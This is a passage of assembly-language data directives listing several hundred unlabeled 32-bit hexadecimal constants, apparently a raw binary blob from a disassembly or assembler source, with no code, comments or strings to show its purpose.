		dd 40FFC131h, 381915A4h, 0F8033E1h, 4B81A2E0h, 6A015498h
		dd 5CC6D16Dh, 1CDCD355h, 13BB836h, 0AC98F548h, 0F91E22B4h
		dd 0FEB30E7h, 8D1FD900h, 0D27ED373h, 7B857FF0h,	12EB00D7h
		dd 968BFF0Ch, 0A1004EB2h, 0D26B3CEEh, 0E75934h,	0FE9FD6E3h
		dd 1EF08EF5h, 8C0016EAh, 68107EC2h, 3B29DC5Dh, 8A93A269h
		dd 0E400EB72h, 9F5B2EE5h, 45EA181Ch, 5CD4C8B4h,	0C8ECD338h
		dd 7FB700AEh, 69BDDF7Bh, 0C09D01A0h, 7E1E6710h,	86C8BBECh
		dd 9A4E015Ch, 0F8022811h, 323400F7h, 7E9F4408h,	64B02CC1h
		dd 5000E9EAh, 0CB2E6C75h, 54D20F7Fh, 2F8846h, 0F74DF9A5h
		dd 0AC22BADEh, 917A9E00h, 0D9ED0FE1h, 59B30395h, 7FBD33CEh
		dd 5CA750D8h, 52BC91Eh,	28065440h, 0C324A2h, 0E2CCF707h
		dd 143795B2h, 0FC1A501h, 0D8878159h, 786043ECh,	0CB67009Bh
		dd 0D56C6963h, 0DD004B7Eh, 0C10FD82Eh, 0B78435h, 4EB4B3A5h
		dd 2AA4171h, 87E3BA3Ch,	44F5D8F6h, 0C15BDDD1h, 0FB50D0h
		dd 0A2CE272Dh, 0C24EA12Eh, 777F6B0Ch, 0B8542BAh, 761A6901h
		dd 84DA6100h, 18003D39h, 48AB4216h, 8FD825h, 3814F034h
		dd 7A631C59h, 0BC04FC00h, 94AB3167h, 3B603E19h,	23997F80h
		dd 0B44D4AD8h, 5E542F00h, 101B773Ch, 7E513E22h,	33C000FCh
		dd 0C4AD5C79h, 3760D0C2h, 0A8F3CC04h, 0FB4701F9h, 59A0C9A5h
		dd 760AECCAh, 9D9E5A3Ch, 0F0839DD6h, 0E0DCC834h, 0E9C35D7h
		dd 8701B240h, 0B136980h, 5500B593h, 0C38E64D2h,	7B0802h
		dd 0D6576667h, 0FD15DE76h, 62712F26h, 3BFEF09h,	0F761CB98h
		dd 3A070550h, 2EE8C26Bh, 0C4801922h, 57B9646Ah,	0D47C4BE6h
		dd 4EB3EC00h, 17BDFFFEh, 0E33400D1h, 0E43D1935h, 78032246h
		dd 7937F3C9h, 9E969049h, 61AC0063h, 73C65D12h, 4E01AD72h
		dd 8CB18F1h, 2160E8BEh,	187160BDh, 3C14DAF9h, 93F4E000h
		dd 1CD47D21h, 17EB03Eh,	0D262A7D5h, 406A13DDh, 0E46317F0h
		dd 479E3C0Bh, 7135005Ah, 0F621AF56h, 0FD7500CAh, 6FE2202Ch
		dd 18907925h, 74655803h, 0F85693E5h, 7422674Ah,	0A1E23A8Ah
		dd 57618D81h, 30F1885Ch, 6205D785h, 56B4AF27h, 0CB1B8C40h
		dd 376F93h, 0B6EA7CC2h,	61861EA5h, 833DA800h, 3C4301C9h
		dd 179E298h, 0FB05C32Fh, 0C0FA8019h, 27EC20FCh,	0C64B7A18h
		dd 0E8E290h, 94E62A71h,	0CBC349DFh, 437D18C0h, 0E0A26CCh
		dd 302BF7EFh, 0F07808C7h, 0F2042909h, 84C8E70Eh, 0C7C6A096h
		dd 0FE4059h, 0E026F6E6h, 0D6A665Ch, 38139B00h, 6BE254D5h
		dd 768B003Eh, 1AB5E89Ah, 0F000B659h, 27A54CEEh,	1F49CE5h
		dd 0B34A788Ch, 0F3621FC5h, 48B8D1C8h, 0C8702A0Eh, 8695C080h
		dd 2427E2C3h, 3D05854h,	3006BF98h, 0E811A191h, 2100AE86h
		dd 48E4A6CFh, 2C821040h, 0ACB1695h, 0DCD6ABh, 30FADB3Fh
		dd 5006EC2h, 1A16F924h,	0F272D2E8h, 99F00002h, 8EF89A51h
		dd 800D163h, 694034Fh, 362CF60h, 0CD2E2002h, 6400BFDFh
		dd 1B7079B0h, 0B7C41Ch
		dd 0A0FF09FCh, 535128Bh, 2649A48h, 0AFD93654h, 436040E8h
		dd 0DEEE4C49h, 0DB10E630h, 6200D0F0h, 0B49A484Ah, 145E1Ch
		dd 0E78BE33Bh, 9DEC46F2h, 0C7B0D700h, 0C0A501Ah, 5F723AE6h
		dd 66EA0284h, 27108010h, 580898BFh, 8F301AEDh, 0B8A45169h
		dd 5734800Dh, 0BC39073Ah, 81608270h, 43AC8AD0h,	8EB8A85Bh
		dd 90D7h, 0BF6396A0h, 0AEAD1E24h, 48306D00h, 66A889C4h
		dd 474300ECh, 0A57A9B40h, 0A0789057h, 0E5960B28h, 0C7CD3000h
		dd 879E3979h, 0D5200E8h, 0D4386A64h, 0F000EADDh, 0D67568C4h
		dd 112EF9h, 0C3D24E2Ch,	0BAA23D82h, 53F2AF14h, 669C00D4h
		dd 6171320Ch, 3ACC7C70h, 2B98B0C0h, 5119F8FFh, 12ECD1E2h
		dd 26B49154h, 28762F02h, 0A0B972E5h, 0E1E9DDF8h, 0EB3130F1h
		dd 4A833B48h, 0D3EA362Eh, 897A0204h, 9FCEB090h,	9BE00419h
		dd 0CC0439A8h, 0AD175888h, 5FE84656h, 78832400h, 4FE3E102h
		dd 0D779F10Ah, 7700B07Ah, 0DF313F57h, 0EC91F611h, 0FBC10CF5h
		dd 43109CBAh, 0CE88C91Eh, 0ACB782BDh, 407E8B2Bh, 13C3898h
		dd 0F144064Bh, 20DA5F8Fh, 0F90003EDh, 0EBEC61E9h, 0F57734Ch
		dd 94D228D7h, 814F5020h, 60015542h, 0C98E4ABh, 84414326h
		dd 606562F4h, 3E4830h, 0CA61285Ah, 0F5AA6AC6h, 0A7252A00h
		dd 69871B67h, 1ED0005Eh, 0C553840Ch, 0B401C3D8h, 47C4B76Bh
		dd 2420E752h, 893B028Bh, 0ED552C6Ah, 8DD1AC80h,	0EF608FCDh
		dd 4F34A120h, 0F3B97F77h, 199F32C1h, 0A09D980Fh, 7404DB9Ch
		dd 0DECFF696h, 5A637C80h, 0B36D5861h, 5202C2Ch,	407A4984h
		dd 0A215FEE0h, 330068C7h, 0EA3BF99Ch, 58B6D9h, 0C8CECB93h
		dd 0A91E2A72h, 0EB9A1900h, 1464BDDDh, 0E6CA015Ah, 0FAD51DA2h
		dd 3688403Ch, 3F03DCC5h, 0F191860Fh, 0B3C0E07Fh, 0F9263D74h
		dd 2DEA4700h, 8E161F2Ah, 310358FAh, 0F72F83C2h,	0E9C2EFF9h
		dd 97946022h, 0DCAD03BCh, 43C5257Ah, 0CB3B50A8h, 0EE026CFAh
		dd 90A2FEDEh, 0FAC098F0h, 0E89C04E0h, 807C0595h, 7D1FECB0h
		dd 798CC0FBh, 7AA2BB18h, 70132E18h, 0E36C007Bh,	5C41BE85h
		dd 120EE8C1h, 0E0EF6EC8h, 0CED056BDh, 8D3D0022h, 0BC4C7114h
		dd 0C700A449h, 6AAB204Eh, 0F9A9FFh, 0E4D2979Dh,	0BB074F94h
		dd 7D43660Bh, 2A09E5h, 77D00FCFh, 8F500A5h, 28CA5088h
		dd 0C7FAA818h, 263FAE03h, 0B8AA9FADh, 0E66D924Dh, 0D06C0063h
		dd 0E7CC3231h, 0A41E17BFh, 2445F001h, 0D890CFADh, 7D450966h
		dd 0FEBC0C4Dh, 0AEA84BE8h, 38845A00h, 0EE5D7ABFh, 0B600202h
		dd 0F6C5F018h, 0BA26D448h, 0D9BB7700h, 615414FFh, 42C6393Ch
		dd 1D49280h, 7AF2C832h,	0D1525A0Ch, 7E8816h, 667106B3h
		dd 40243084h, 514A44h, 0CCFBA402h, 0AAAFC020h, 0C070AC5Dh
		dd 48CDEC24h, 354D0103h, 0E49E067Ch, 0E5E42010h, 8C0CF200h
		dd 64D960C2h, 0E37396h,	5F6995A6h, 4DCFEF53h, 0E90A7C01h
		dd 93FA462Ch, 6ACE3880h, 82FF6185h, 0E8E58E00h,	0EEB8BADFh
		dd 8C0C02Eh, 2C1FC306h,	0AB026C0Fh, 93C0C0B5h, 465585h
		dd 0A1A0A5F0h, 0E2D726A6h, 0CD07670Fh, 0B9A613Eh, 0E0EB252Bh
		dd 58B490h, 0DFE2ED9h, 4076486h, 0C8C36C00h, 0DE6D6659h
		dd 0C2060090h, 0E11A3C82h, 0A73E41C6h, 2D629CBBh, 2032DB8Eh
		dd 66294B9Dh, 962A007Ah, 0DD820D43h, 0FB0FF370h, 0C7E242BFh
		dd 0BCC09164h, 9A434096h, 28FF01E4h, 0D737BA08h, 7B3160E0h
		dd 9B57AA1Eh, 50BE2940h, 3E8A9CF3h, 0FF8FC687h,	835D7C9Eh
		dd 73C36255h, 5EB1F7E0h, 0AC9DBA00h, 40D920F1h,	0DD501DDEh
		dd 56B900BBh, 914EC34Dh, 0BE1440B7h, 2CEA81h, 18B64972h
		dd 921FCFACh, 12984A4Dh, 1040B279h, 0B94D81B7h,	0ACEEA37h
		dd 0D32857D6h, 0B1EDEh,	48F8E2C6h, 0C300A2A7h, 6B3D3A24h
		dd 18892901h, 0E0D9675Bh, 0C95D8E59h, 0A80201B4h, 2BF62CFFh
		dd 6A190EBh, 0EF7F0707h, 15D9FFDh, 0DC454EADh, 0D61FEE93h
		dd 3B40522Bh, 69019416h, 2AE40233h, 671537C8h, 1772B060h
		dd 5B0AAF00h, 83AB64Ch,	1B64007Dh, 6FD0F48Bh, 8201F522h
		dd 929CE62h, 0AC46619h,	1D451825h, 5F18A1DCh, 0F99E38h
		dd 972D6BB8h, 35CBD90h,	15831767h, 49D8F40Fh, 48000BB0h
		dd 0BF93385Ah, 3E6D0E0Ch, 0DC0F4682h, 0AAC07536h, 39BCBEB8h
		dd 0CC37CA00h, 47F48CEFh, 50D20FFCh, 6580A3E2h,	980C93D5h
		dd 0E115A801h, 0D09B143Ch, 9401CC29h, 5F4659B3h, 0D8F6C876h
		dd 0CC99FD00h, 0AC97D128h, 0D9DB0063h, 5CB7998h, 0BA17D8EBh
		dd 0D4404C0Bh, 1A70D49Ch, 0B4F84C59h, 769FF100h, 104FC657h
		dd 5B00ED74h, 4AD5BCE1h, 45609E4h, 0ABEC9AFBh, 15DCC077h
		dd 0F407180Ch, 37A66B58h, 0F6F830B1h, 68238340h, 0B4420585h
		dd 90632738h, 6FBAF5B4h, 0CA448101h, 0EEAFB23Ah, 47088D4h
		dd 4FB1AB4Ah, 0A97BC094h, 7B00BFDEh, 109A3F87h,	5C9B98E3h
		dd 120F8C5Fh, 56A01C85h, 0CFCCF718h, 2BD04001h,	3BC51A28h
		dd 2BC2874h, 47E1A410h,	4C68440Ah, 3B00C1BDh, 0C27D3F90h
		dd 0C11F2574h, 5A8D1318h, 38B9D03Ah, 8F400F6Fh,	0BD5D26EBh
		dd 51326048h, 6F24EE3Eh, 7CBE5F38h, 0EFBD918h, 6159E31h
		dd 0FEE55A5Dh, 0D828F15Ch, 8D002833h, 0AAD57D6Fh, 158BD699h
		dd 20D8E02Dh, 96209333h, 2D5C63A1h, 25E600C8h, 2F3BDE3Fh
		dd 0C070ECh, 94D645C7h,	70BB5284h, 9C3D1300h, 0A0ABCA62h
		dd 3E76E40Eh, 1C07E9FEh, 7052EF3Eh, 272EFBB9h, 5DE27F00h
		dd 4329D8E3h, 0A97D6D35h, 0C3041E80h, 443821Ch,	463A06E9h
		dd 0B8DDC032h, 7E02A45Fh, 1C16943Ch, 28E563Fh, 8464B208h
		dd 0FFE131C3h, 0D730817Ah, 0C1E62C17h, 0EBC02C40h, 510A612Dh
		dd 115A20DBh, 182F9166h, 7962280Ah, 88B2E428h, 783B157Ch
		dd 885F0F11h, 8BD8A003h, 12955326h, 2116F767h, 43641148h
		dd 0D1065060h, 0A7C1F81Bh, 48EA59h, 0C99A0C0Fh,	25AD5F6Eh
		dd 4F0070A6h, 0FA3C8190h, 3E77E85h, 0E6A940F9h,	0E81097C9h
		dd 940F5D70h, 0CCA06DD9h, 0F4FDA3Fh, 0F4DD9129h, 32297602h
		dd 0E64CB05Ch, 7AA512E8h, 0CCFD1F5Eh, 0A1A90DBBh, 29BFFD18h
		dd 0CB5C041h, 0CBD3DC0Fh, 8F18BCA8h, 333876F6h,	7AA8A8F0h
		dd 0A48EFA27h, 7F0485F8h, 9CC81C86h, 63721210h,	333000BFh
		dd 3828D1B3h, 0EFF64100h, 0BB1C5F6Dh, 62D30622h, 29C15572h
		dd 7B119F42h, 24E711F4h, 21C3CB11h, 0D990390Bh,	25B3116Eh
		dd 21C49711h, 0D76A08F7h, 0E251DF98h, 0ABA82E4Fh, 2C283Ch
		dd 0E8C896Ch, 0B2C55D7Fh, 0F91E7100h, 0D2CA0A86h, 837F0Dh
		dd 4B569E8Eh, 1D0B49C4h, 1A12F600h, 68C88BE0h, 0C54F012Ch
		dd 979C2043h, 0CC62CCh,	154D42AFh, 0DC6B6Dh, 0AEEBE8AAh
		dd 0B7ECE93Fh, 0E0F3A874h, 0EFF8BA43h, 0C6015B00h, 4293BB48h
		dd 10C207F9h, 0E6741788h, 0D11E28E9h, 0D480529Bh, 7E6B0F9Fh
		dd 0D6010003h, 66A3628Ah, 0EE01B4F5h, 6E98E2BDh, 0C84037FDh
		dd 2E783452h, 4E8E33Ah,	0C0C7A425h, 872CF5D1h, 0C3A1BC00h
		dd 36F853B1h, 184AE288h, 18BDB54Ch, 1A3EED31h, 0D6706095h
		dd 24D2ACh, 0A47B79E3h,	6C82EF5Bh, 351C0090h, 9D804CD3h
		dd 0A0695831h, 71BF00A5h, 2E4592F2h, 0FF1CDBEBh, 0DF404423h
		dd 6AA5B637h, 7DE71F6Ch, 6F774055h, 0A95E16B2h,	0B493AA00h
		dd 0CBFD9272h, 760B823h, 655C6C67h, 7C1312Fh, 0AA0CF409h
		dd 2D9D6E00h, 0C43851A7h, 7CE20Fh, 9C2C1DFCh, 21F8C35Fh
		dd 13D9D307h, 51F38B27h
		dd 2A0C752h, 570BFEh, 401194AFh, 0F760D8E4h, 0C15BFB00h
		dd 4544B91Bh, 0B8EA0014h, 3422FE5Ch, 0BE01DCE7h, 19CA566Eh
		dd 5EF89675h, 965F50EEh, 0FAF6005Ah, 5889DEE2h,	8700186Eh
		dd 0D7DC11E6h, 0E631D20h, 0A46F4CE5h, 0AFC8F2A1h, 0F905F8FCh
		dd 9700CF7Ch, 0D8BDC0F0h, 0A5AD39h, 205F1FDDh, 70012A30h
		dd 0CC93Eh, 10D9AF6Ah, 3CB6EB38h, 87003DFEh, 8E4833A4h
		dd 76015A72h, 21685904h, 0C7E4AD0Bh, 0FEFC03B7h, 0FACB202Eh
		dd 80E40AABh, 8180AA00h, 0F3F67500h, 8F011C9Ah,	75AC9860h
		dd 2AA60099h, 4536C9F8h, 0DB00FFCAh, 0AE299D2Fh, 646206h
		dd 9A07E055h, 3792A39h,	0C3C0B1DDh, 546B087Bh, 9E84006Ch
		dd 45F4F604h, 56FC86C8h, 62E68B00h, 0EE26B6Ah, 5221079Dh
		dd 7784CD64h, 0ED01F020h, 6C014CEBh, 3C8279DBh,	0F1210A4Dh
		dd 0DF172838h, 8B6601F4h, 24D1A4F6h, 0E3049B54h, 7A82D92Ah
		dd 22DA4C80h, 0CAF7806Bh, 0E023930Fh, 3D8EBDA6h, 0E4794FF1h
		dd 0A9804AA8h, 39A5A76h, 6D2E9905h, 1DE8A5B9h, 1590BB7Eh
		dd 8523670Fh, 0C1060041h, 4C0F6Eh, 60E24A9Ch, 14DC0ECDh
		dd 0C8329100h, 863A23D0h, 6B20363h, 41343B1Bh, 98A45788h
		dd 8BCCFB00h, 6CC2FE12h, 493C0046h, 74B64C21h, 0CD484ADAh
		dd 0AF9D002Ah, 4136B71Ah, 8A40F197h, 269A0294h,	8AA472h
		dd 66766387h, 5B0C8C0Ah, 0E8117968h, 0B6850070h, 0A36018C0h
		dd 52EEEFF2h, 3E7C2403h, 98665D1Bh, 1081187h, 9023AAEEh
		dd 0F0D45CBCh, 67CBD94h, 3D740300h, 8E50D7C1h, 0B4140E17h
		dd 0E2A0CC37h, 0A6FC47BCh, 0CEEBEE02h, 782536FFh, 0C2F10014h
		dd 1A667F0Dh, 0E400FB86h, 9427A0AAh, 1DB9BCE7h,	0C01D3657h
		dd 33563779h, 6E03A115h, 0ADC1D9D7h, 0DD1CF065h, 1F600040h
		dd 59B79693h, 67003FCEh, 0BF2AD556h, 0E38798Bh,	0D0DC6991h
		dd 0A4B2F22h, 98BE2060h, 12D5AE0Eh, 0C70640C0h,	1760DAh
		dd 3C2A28Bh, 7F393EB3h,	2CFD1300h, 0C64EB1E9h, 6AFAB5h
		dd 0A8C387CDh, 153B23DEh, 90AF2B00h, 5C8C2241h,	0D1D5007Ah
		dd 0CC5B240h, 2600374Ch, 0BC52F163h, 1F9FBFh, 0C4E34290h
		dd 0B338B9FAh, 0CE8D3901h, 0C69314C1h, 4586F8h,	0E9730667h
		dd 44D05D34h, 0CFCE5A00h, 0D596F254h, 8B5800E6h, 65CBC7B6h
		dd 0C000A7DCh, 80BE281Dh, 0C5B86Bh, 8447B0F5h, 21A49190h
		dd 75FCA01h, 1971EDCFh,	0AB53748Fh, 307715E0h, 0F9008AE1h
		dd 0D60D7308h, 920945h,	0CCD5C869h, 78636A7Eh, 6EE025h
		dd 0CE4E68B4h, 281000A8h, 79E7DD9Ah, 772F8DEDh,	64700186h
		dd 0D6C0F69Fh, 8B8A0043h, 1EBDEF81h, 0EE70B25Dh, 22AC0B01h
		dd 77F11F99h, 90C58C20h, 0DA5F1618h, 7914D0A5h,	780E3139h
		dd 21E4ECCBh, 0B418C3D2h, 0BF51C4h, 0C1EA1A02h,	0DE44FB62h
		dd 97B25000h, 72D3A3D0h, 0CF260036h, 7B030BA4h,	60C0E4DDh
		dd 7D51618Ch, 22C906A7h, 0A09B1D9Eh, 0E5EBF907h, 17302ED9h
		dd 0B13E6B4h, 99B06411h, 5CC68400h, 0A000AFACh,	103EE116h
		dd 3229085h, 0B6C93983h, 5A88FA55h, 0D603C62Eh,	9277E6F1h
		dd 0C847C8B2h, 5F9F85Dh, 0EC1E16FBh, 29E8818Fh,	2CFC6053h
		dd 0C0ABA016h, 0C8001C87h, 3984BEh, 0B53D4B74h,	760D09C3h
		dd 0A56DF200h, 3FD1C756h, 0FB8E061Ch, 0D8C671A3h, 0FC557806h
		dd 1C115CF4h, 402EAB9Dh, 243693CDh, 6F5853BFh, 85B000B4h
		dd 1B77FBA6h, 0DD4E180h, 0C4B2ADh, 74AAEF50h, 1BBEF64Fh
		dd 86484B00h, 2A4E9E40h, 85FD1D9Dh, 0E6304202h,	6CD0C9ABh
		dd 0CDEC0E02h, 48083A52h, 1C222ECh, 5DDA5A20h, 0F88529D2h
		dd 7B0284EAh, 0F362AD06h, 2D8F057h, 4102D914h, 4BC09DC5h
		dd 2E0020A5h, 7AE00605h, 4AE18277h, 0E2140156h,	9A7640h
		dd 1DD35EEh, 6ABFD53h, 30165AA1h, 4008FA4h, 7339578Eh
		dd 19C81CCh, 0D274C261h, 60CFD65Dh, 84001F98h, 64444CFDh
		dd 2FAEE3h, 85312CBCh, 4614703Dh, 3E16607h, 0F7D2DBF0h
		dd 4B0856B5h, 0A8C0A80Eh, 55C4FE7h, 948F1C00h, 50189769h
		dd 286DE8DCh, 9BC487h, 0FF996579h, 0FE16D92Ch, 0A86EB500h
		dd 7C7E72C3h, 4496C6h, 33DFF7B1h, 90B23079h, 7700BBB0h
		dd 5526101Ch, 0FCA4DDAh, 910240C2h, 67904096h, 0BDFBA1D7h
		dd 0CD0053F8h, 3F87F7AEh, 589C8D3Eh, 2E7698CCh,	5A83003h
		dd 0C0231592h, 0A045203Fh, 22284C00h, 64662B4Dh, 0AF591451h
		dd 0D303A077h, 0EB3458Ch, 43917DE8h, 71F9BA0Bh,	0AC10C81Dh
		dd 3F27074Ch, 13EE4EFEh, 0C8005DA9h, 0CE7A9395h, 0F64ACC04h
		dd 0D90360C7h, 61CAC22Ch, 0E4596800h, 2E4D9E13h, 1070175h
		dd 0C73D3B24h, 586FF0DFh, 9AD05001h, 41F159D8h,	8E5AC980h
		dd 0A069632Ah, 0BCEEA816h, 524C30C0h, 3F8900D8h, 0ABB84DB3h
		dd 58050CF3h, 8E799325h, 5CD4CC00h, 13155E07h, 80A36105h
		dd 0AF02C738h, 8B2E3E09h, 0AA70482Fh, 0BA37ED8h, 62BD360Ch
		dd 0C3A4A181h, 0E834E199h, 780065BBh, 275BE3C4h, 0E650DCh
		dd 43B4F287h, 61454880h, 7F293507h, 0A7C03046h,	335B886Fh
		dd 6B798DBEh, 78F488B4h, 3FAE1D0Fh, 0BB4DA3A4h,	0A9BDE09Ah
		dd 43F0EB11h, 0C5310570h, 90D756DAh, 41CC1668h,	3F3FE672h
		dd 0D09228B1h, 0F10DC400h, 16057810h, 1C49E39h,	0F9D6F608h
		dd 8EF8D47Eh, 0B814C824h, 4665DE01h, 74FC5E2Eh,	3930BF7h
		dd 857D8117h, 8000DAEAh, 0F9B88CCAh, 834000AFh,	0E5B99553h
		dd 0BC00C627h, 0CC320139h, 3FCBA3EFh, 218048ACh, 0F3F83372h
		dd 8004E24h, 0FE17A177h, 25E3E030h, 0C0F042B3h,	0ADF23F90h
		dd 1E31A400h, 5E1D64AFh, 55CC00A5h, 2804DDA8h, 963CC314h
		dd 20AE828Ch, 0C0D815C4h, 7B6EDEE8h, 94FB00A7h,	4C6F8144h
		dd 132556B5h, 2C3482AFh, 60F9E2AAh, 3B2B0CEh, 0FDF4E3F3h
		dd 0EDA99FB7h, 82CC067h, 24BBA00h, 6ABD9245h, 0DBB80051h
		dd 52913FC0h, 8CF40F9Eh, 0E4704900h, 0F1B0CDF5h, 1C020192h
		dd 24EF3E4Dh, 0CF3B60A8h, 0C08D9A00h, 0D65222E2h, 79900E31h
		dd 7CE0D9F0h, 0F789FE65h, 0B3EA0501h, 95EE6F9h,	0C019CF60h
		dd 0DFF3F048h, 6D004416h, 0ACB0D294h, 796058BFh, 90670031h
		dd 4FCF0477h, 5B0178E1h, 9F8D80E7h, 20D0B46Bh, 59ED03B2h
		dd 0BA714DCDh, 2F2C1C80h, 7C9DD307h, 0A4319F03h, 0D4C43416h
		dd 898C0045h, 0C64A9957h, 0BB005927h, 0F7D873D6h, 47C91CCh
		dd 0C3F46A9Ch, 5AD1C02Ah, 0EC00DDA2h, 4D359DEAh, 0BEE4E0h
		dd 5DE50EA3h, 1FF88765h, 0DB1D4500h, 0A0CA9A6Dh, 8D3500DEh
		dd 88E52B28h, 48073FA9h, 89732DB5h, 88DF1A73h, 169F8h
		dd 0CA49DB60h, 2BA71E3Ah, 24A048h, 7597185Bh, 662FCDBFh
		dd 0A8DA8A6h, 2B948B00h, 2C390470h, 0A13B3F76h,	0CC1CA800h
		dd 0F5780B03h, 19D21E00h, 0F49B77E4h, 0B4C80529h, 912176D8h
		dd 794B2B1Ch, 363C0A4h,	8EB82Ah, 748850ECh, 8A911BB9h
		dd 8407A903h, 1CBC83h, 0A164B288h, 33C70306h, 0D8630397h
		dd 12383896h, 0DC4DF980h, 0AD2394AFh, 33F6EA07h, 0D70027CCh
		dd 17AEBDE4h, 0D2ED2430h, 6C5035DCh, 0E301B27Eh, 0CDB51769h
		dd 9C401F3Bh, 5162E78h,	0DAC7E0Eh, 2CCC057Ch, 0AEB4805Fh
		dd 3049480h, 9F4FA265h,	0ACFEF8C0h, 8EDC05F2h, 0BF3A8F27h
		dd 0D95F8680h, 48C700F8h, 8B527443h, 0EE4FC15Ah, 0BB2D3C00h
		dd 1CCD30E6h, 0C049BEE9h, 6640D19Eh, 0F5003EA7h, 89C8BB01h
		dd 3C568h, 81FEABE8h
		dd 0F1AA15A4h, 0A1FCBFE6h, 0DB5C700h, 459F3BEEh, 852E0039h
		dd 0A955C926h, 685F2BDEh, 6B840837h, 21A36500h,	0DA003292h
		dd 9F7C9904h, 4A1A74D4h, 0C1988106h, 2761FE87h,	3B03D0A0h
		dd 659C5850h, 14B06373h, 38FA9C00h, 0C1CF53D6h,	757C0340h
		dd 46B9F17Fh, 0FC86DDA8h, 574CBD0Eh, 8D0A21B1h,	0BFF07076h
		dd 0A0610209h, 0B7EFC8F3h, 0C3875060h, 7C3FAA18h, 0E26B5Eh
		dd 739D8DE4h, 1672D667h, 0A78E930Eh, 38F092B6h,	1AB8000Ch
		dd 0EE56AF18h, 10007A3Fh, 48E9E191h, 0D728A4h, 0B44D3062h
		dd 34A522B9h, 0E264780Ch, 42D4182h, 424B128Bh, 0ECA8F03Ah
		dd 59D1604h, 3800BA3Fh,	0ED37706Eh, 5BA4A604h, 48E0197Bh
		dd 4010B492h, 0F03101A8h, 0B6000E7Ch, 64CDA4ECh, 4BF94Eh
		dd 56A1BE2h, 0AFF7EF11h, 17D9816h, 382C0000h, 0C9E842h
		dd 6E8C365Ch, 0BC9B25CBh, 2E03F101h, 0DFA707C6h, 7D1F4470h
		dd 810F04BBh, 0A81BB3E8h, 1C972640h, 8000D412h,	43A424E6h
		dd 0A54C0326h, 120B2A3Bh, 656638A8h, 0E002D0B0h, 68DDA61Ch
		dd 7B385A62h, 4F12163Ch, 0B97400C3h, 0F289B6FCh, 24656D3Ch
		dd 3F14D0h, 22D8A280h, 1669198Eh, 0A68761h, 68DA1BC5h
		dd 5E3DB53Ah, 0A32AF80Ah, 0FC019012h, 0E4DC3DC2h, 0E720069Ah
		dd 3E6C9C71h, 3F69E89h,	94132850h, 0D0B0F40Fh, 2F007B0h
		dd 0C02B9E31h, 3D594820h, 0A2E48E1Fh, 37C79580h, 4E49D3CCh
		dd 556430D8h, 97125224h, 8487E2D2h, 943846E1h, 0C0D0F021h
		dd 0BE8300DBh, 596ABA92h, 0B0A0021Bh, 4004DDFh,	0EB0EAB8Fh
		dd 5CC7C282h, 95097888h, 0A0717605h, 96138A00h,	0CB782Eh
		dd 8FC2ABB9h, 30C8AE71h, 0D49D6200h, 35D70D61h,	949100B7h
		dd 920F2B33h, 8326BCE4h, 90017002h, 0F1F249D8h,	67FC02Eh
		dd 920025A2h, 0ABD0FEF3h, 2711C0h, 0C3A885BBh, 849FC45Fh
		dd 0F063F01h, 0BE3D2BE4h, 6D00746Ch, 38346A90h,	8C3C8B8Ah
		dd 0A402DE5Bh, 4A6FBAA6h, 3804760Ch, 7D55881h, 70EA2E44h
		dd 0B703AE40h, 345D52B9h, 0EB3EB019h, 0BBEAF4h,	1C5FCFF5h
		dd 92BF2C93h, 1B08B61Eh, 716459C0h, 429850h, 9CC2CD07h
		dd 0D64FBE4Ah, 0E062975Fh, 4AD8F270h, 933C818Fh, 0F99ED087h
		dd 8D18E566h, 12987C10h, 0A5E9D85Dh, 0E734FD08h, 6BDEC903h
		dd 0BE0EC2Eh, 77C5B008h, 530FDC8Fh, 6C2B0380h, 160090FCh
		dd 61A42651h, 18E3B677h, 5004CC41h, 0DBF830BCh,	442F3B03h
		dd 833CAA33h, 3FB38873h, 2D7A3E80h, 50D2310Ah, 126900CDh
		dd 0EDC85A2h, 5A8D4100h, 3B9DBD88h, 99B0C094h, 26D86493h
		dd 13EB0F44h, 0BD5D03h,	531C3236h, 6200D311h, 0FAD2B88h
		dd 842814h, 0D6576C3Ch,	0B533BE47h, 217F5Ch, 9DFD6F4Ah
		dd 54292E0h, 0EF770C7Eh, 37B6C015h, 0A71C176Ah,	895F4527h
		dd 93D0B54Fh, 7800881Dh, 8C7C75EFh, 0D0A0018h, 0D14F57B7h
		dd 607D7DC2h, 0DE89B100h, 889F8B3Ah, 0DDA10076h, 6DC841CBh
		dd 9800DFAAh, 90D9F2E6h, 7BCCAF06h, 66EC0EB0h, 0AB000F5Bh
		dd 0D0C6E050h, 603F5F00h, 70637A32h, 68A0BDAh, 0FB00C2E4h
		dd 218D2CA4h, 5E008975h, 6749209Dh, 0FA58BC6h, 0B82BFB9Ah
		dd 0CB003DAEh, 0AB0E78A0h, 96323400h, 30996740h, 308BA5Ah
		dd 0DE29C379h, 44D8B3E0h, 0CCA17BD8h, 1C042475h, 3C29A800h
		dd 3BDA0AA6h, 44374891h, 59D0E103h, 27F38199h, 620DCC8h
		dd 0BF5F7008h, 0DA123E57h, 0DC08A186h, 0FC1BA0DCh, 0C8795F6Fh
		dd 0E7C86CC1h, 870069BCh, 0BC30FDA2h, 5A19A450h, 6D0849E7h
		dd 39A72181h, 6E978FFDh, 0C056BAA0h, 0A2207D19h, 0D370FA83h
		dd 60938500h, 1BE91D3Eh, 447400BDh, 8D62070h, 7E00AB5Ah
		dd 5C1F2E3Ch, 0C963178h, 941DE8D7h, 875DF3C8h, 0EA814B4Ch
		dd 22E033E5h, 4FED0073h, 38F26BF4h, 0FE148E15h,	30A8665Bh
		dd 0EC41C834h, 80105098h, 3C2C00BEh, 0C00445CDh, 2707A6EAh
		dd 21BF0BF4h, 0D1C97420h, 0AE9E0C6Ch, 70722D13h, 0C6334900h
		dd 0E782365Dh, 179A0097h, 613FD040h, 510011A8h,	4BACFB8Ch
		dd 4AABC1h, 0EBCFDA8Ah,	477C6F45h, 8F756600h, 65F6B278h
		dd 7AD21D81h, 9FEC09Ch,	392EA9C1h, 9A0AB603h, 0E0F7CD4Fh
		dd 90686A54h, 6D87020Fh, 4BD1449Fh, 0ADC811C3h,	6700CA74h
		dd 886F2A2Ch, 0BA9DB7h,	0A75EDAFh, 0C36DC429h, 1EAD2430h
		dd 785BA3h, 62EF1A47h, 4E1239E4h, 45269A0Dh, 3DD01169h
		dd 0B2114073h, 0D0E8B01h, 3878585Ah, 0FA4AF6ECh, 0F0D31DE1h
		dd 0E77C47B1h, 819FA0DCh, 3101D56Fh, 2278992Dh,	0FE80E0F3h
		dd 1AF290ECh, 5901632Eh, 9EAA8BC4h, 73D81B5Ch, 9DD7004Ch
		dd 44B22C96h, 99985029h, 0A7A57E18h, 1CC3691Ah,	47EA05C8h
